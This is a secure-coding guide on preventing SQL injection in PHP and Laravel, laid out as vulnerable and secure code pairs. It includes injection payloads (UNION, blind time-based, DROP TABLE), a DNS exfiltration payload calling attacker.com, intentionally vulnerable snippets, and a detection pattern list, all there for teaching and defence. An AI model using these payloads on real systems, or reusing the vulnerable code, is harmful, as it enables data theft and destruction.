SQL Injection Prevention

// VULNERABLE: Direct string concatenation
$userId = $_GET['id'];
$query = "SELECT * FROM users WHERE id = " . $userId;

// If attacker inputs: 1 OR 1=1
// Query becomes: SELECT * FROM users WHERE id = 1 OR 1=1
// This returns ALL users!

-- Attacker input: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'

-- Attacker input: 1 UNION SELECT username, password FROM admin
SELECT * FROM products WHERE id = 1 UNION SELECT username, password FROM admin

-- No visible results, but timing or boolean responses reveal data
SELECT * FROM users WHERE id = 1 AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)

-- Data exfiltrated via DNS or HTTP requests
SELECT * FROM users WHERE id = 1 AND LOAD_FILE(CONCAT('\\\\', (SELECT password FROM admin), '.attacker.com\\abc'))

<?php
// Secure PDO example
$pdo = new PDO("mysql:host=localhost;dbname=test", "user", "pass", [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);

$userId = $_GET['id'] ?? 0;

// [SECURE]: Prepared statement with parameter binding
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$userId]);
$user = $stmt->fetch();

if ($user) {
    echo "Welcome, " . htmlspecialchars($user['name']);
} else {
    echo "User not found";
}

// Using named parameters for clarity
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email AND status = :status");
$stmt->execute([
    'email' => $email,
    'status' => 'active'
]);

// Insert with multiple parameters
$stmt = $pdo->prepare("INSERT INTO users (name, email, password) VALUES (?, ?, ?)");
$stmt->execute([$name, $email, $hashedPassword]);

<?php
// mysqli alternative
$mysqli = new mysqli("localhost", "user", "pass", "test");

// [SECURE]: mysqli prepared statement
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $userId); // "i" for integer
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();

<?php
namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class User extends Model
{
    protected $fillable = ['name', 'email', 'password'];

    // [SECURE]: Eloquent automatically parameterizes
    public static function findActiveUser($id)
    {
        return self::where('id', $id)
                  ->where('active', true)
                  ->first();
    }

    // [SECURE]: Mass assignment protection
    public static function createUser(array $data)
    {
        return self::create($data); // Only fillable fields are used
    }
}

<?php
use Illuminate\Support\Facades\DB;

// [SECURE]: Query Builder automatically parameterizes
$users = DB::table('users')
    ->where('email', $request->email)
    ->where('status', 'active')
    ->get();

// [SECURE]: Named bindings
$users = DB::select('SELECT * FROM users WHERE created_at > :date', [
    'date' => now()->subDays(30)
]);

// [INSECURE] VULNERABLE: Direct string concatenation in Laravel
$userId = $request->id;
$users = DB::select("SELECT * FROM users WHERE id = {$userId}");
// Same vulnerability as PHP direct concatenation!

// [SECURE]: Raw queries with proper parameter binding
$userId = $request->id;
$users = DB::select('SELECT * FROM users WHERE id = ?', [$userId]);

// [SECURE]: Named parameters
$users = DB::select('SELECT * FROM users WHERE email = :email', [
    'email' => $request->email
]);

-- Create a stored procedure
DELIMITER //
CREATE PROCEDURE GetUserById(IN user_id INT)
BEGIN
    SELECT * FROM users WHERE id = user_id;
END //
DELIMITER ;

-- Call from PHP (still needs parameter binding)
$stmt = $pdo->prepare("CALL GetUserById(?)");
$stmt->execute([$userId]);

<?php
function getUserById($userId) {
    // Validate input type and range
    if (!is_numeric($userId) || $userId <= 0 || $userId > 999999) {
        throw new InvalidArgumentException('Invalid user ID');
    }

    // Now it's safe to use in query
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$userId]);

    return $stmt->fetch();
}

<?php
// Only use when prepared statements aren't possible
$userInput = $pdo->quote($userInput); // Adds quotes and escapes

// But this is still vulnerable to certain attacks!
// Always prefer prepared statements

// [INSECURE] VULNERABLE: Dynamic table name
$table = $_GET['table'];
$query = "SELECT * FROM {$table}";

// [SECURE]: Whitelist table names
$allowedTables = ['users', 'products', 'orders'];
if (!in_array($table, $allowedTables)) {
    die('Invalid table');
}
$query = "SELECT * FROM {$table}";

// [INSECURE] VULNERABLE: Dynamic column
$column = $_GET['sort'];
$query = "SELECT * FROM products ORDER BY {$column}";

// [SECURE]: Whitelist columns
$allowedColumns = ['name', 'price', 'created_at'];
if (!in_array($column, $allowedColumns)) {
    $column = 'created_at'; // Default
}
$query = "SELECT * FROM products ORDER BY {$column}";

// [INSECURE] VULNERABLE: Direct LIKE query
$search = $_GET['search'];
$query = "SELECT * FROM products WHERE name LIKE '%{$search}%'";

// [SECURE]: Prepared statement with wildcards
$stmt = $pdo->prepare("SELECT * FROM products WHERE name LIKE ?");
$stmt->execute(["%{$search}%"]);

// [INSECURE] VULNERABLE: Dynamic IN clause
$ids = $_GET['ids']; // "1,2,3" or "1); DROP TABLE users; --"
$query = "SELECT * FROM users WHERE id IN ({$ids})";

// [SECURE]: Prepared statement with multiple parameters
$ids = explode(',', $_GET['ids']);
$placeholders = str_repeat('?,', count($ids) - 1) . '?';
$stmt = $pdo->prepare("SELECT * FROM users WHERE id IN ({$placeholders})");
$stmt->execute($ids);

// Set secure PDO options for MySQL
$pdo = new PDO("mysql:host=localhost;dbname=test", "user", "pass", [
    PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8mb4",
    PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true,
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);

// PostgreSQL specific options
$pdo = new PDO("pgsql:host=localhost;dbname=test", "user", "pass", [
    PDO::PGSQL_ATTR_DISABLE_PREPARES => false, // Use prepared statements
]);

// SQL Server parameterized queries
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->bindParam(':id', $userId, PDO::PARAM_INT);
$stmt->execute();

<?php
// Step 1: Attacker registers with malicious username
// Username: admin'; --
$username = "admin'; --";
$stmt = $pdo->prepare("INSERT INTO users (username) VALUES (?)");
$stmt->execute([$username]);

// Step 2: Later, vulnerable login query
// [INSECURE] VULNERABLE: Second-order injection
$username = $_POST['username'];
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = '{$username}' AND password = ?");
$stmt->execute([$password]);

// The stored malicious username breaks out of the query:
// SELECT * FROM users WHERE username = 'admin'; --' AND password = ?

<?php
// [SECURE]: Use prepared statements everywhere
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

// [SECURE]: Input validation on storage
function validateUsername($username) {
    if (!preg_match('/^[a-zA-Z0-9_-]{3,20}$/', $username)) {
        throw new InvalidArgumentException('Invalid username');
    }
    return $username;
}

# Test common injection payloads
?id=1'
?id=1''
?id=1 OR 1=1
?id=1; DROP TABLE users; --
?id=1 UNION SELECT * FROM information_schema.tables

<?php
class SQLInjectionTest extends TestCase
{
    public function testSQLInjectionPrevention()
    {
        // Test various injection payloads
        $maliciousInputs = [
            "1' OR '1'='1",
            "1; DROP TABLE users; --",
            "1 UNION SELECT password FROM admin",
        ];

        foreach ($maliciousInputs as $input) {
            $stmt = $this->pdo->prepare("SELECT * FROM users WHERE id = ?");
            $stmt->execute([$input]);
            $result = $stmt->fetch();

            $this->assertNull($result, "SQL injection not prevented for input: {$input}");
        }
    }
}

<?php
// [SECURE]: Eloquent relationships prevent injection
class Post extends Model
{
    public function user()
    {
        return $this->belongsTo(User::class);
    }
}

// Safe relationship queries
$posts = Post::where('user_id', $userId)->with('user')->get();

<?php
// [SECURE]: Laravel automatically validates and finds model
Route::get('/users/{user}', function (User $user) {
    // $user is automatically resolved and validated
    return $user;
});

<?php
class UpdateUserRequest extends FormRequest
{
    public function rules()
    {
        return [
            'id' => 'required|integer|exists:users,id',
            'name' => 'required|string|max:255',
            'email' => 'required|email|unique:users,email,' . $this->id,
        ];
    }

    public function authorize()
    {
        return $this->user()->can('update', User::find($this->id));
    }
}

<?php
function logSuspiciousSQL($query, $params, $ip) {
    $suspiciousPatterns = [
        '/;\s*drop/i',
        '/union\s+select/i',
        '/information_schema/i',
        '/load_file/i',
        '/into\s+outfile/i',
    ];

    foreach ($suspiciousPatterns as $pattern) {
        if (preg_match($pattern, $query)) {
            error_log("Suspicious SQL detected from {$ip}: {$query}");
            // Could also send alerts or block IP
            break;
        }
    }
}

// Laravel query logging
DB::listen(function ($query) {
    Log::info('SQL Query', [
        'sql' => $query->sql,
        'bindings' => $query->bindings,
        'time' => $query->time,
    ]);
});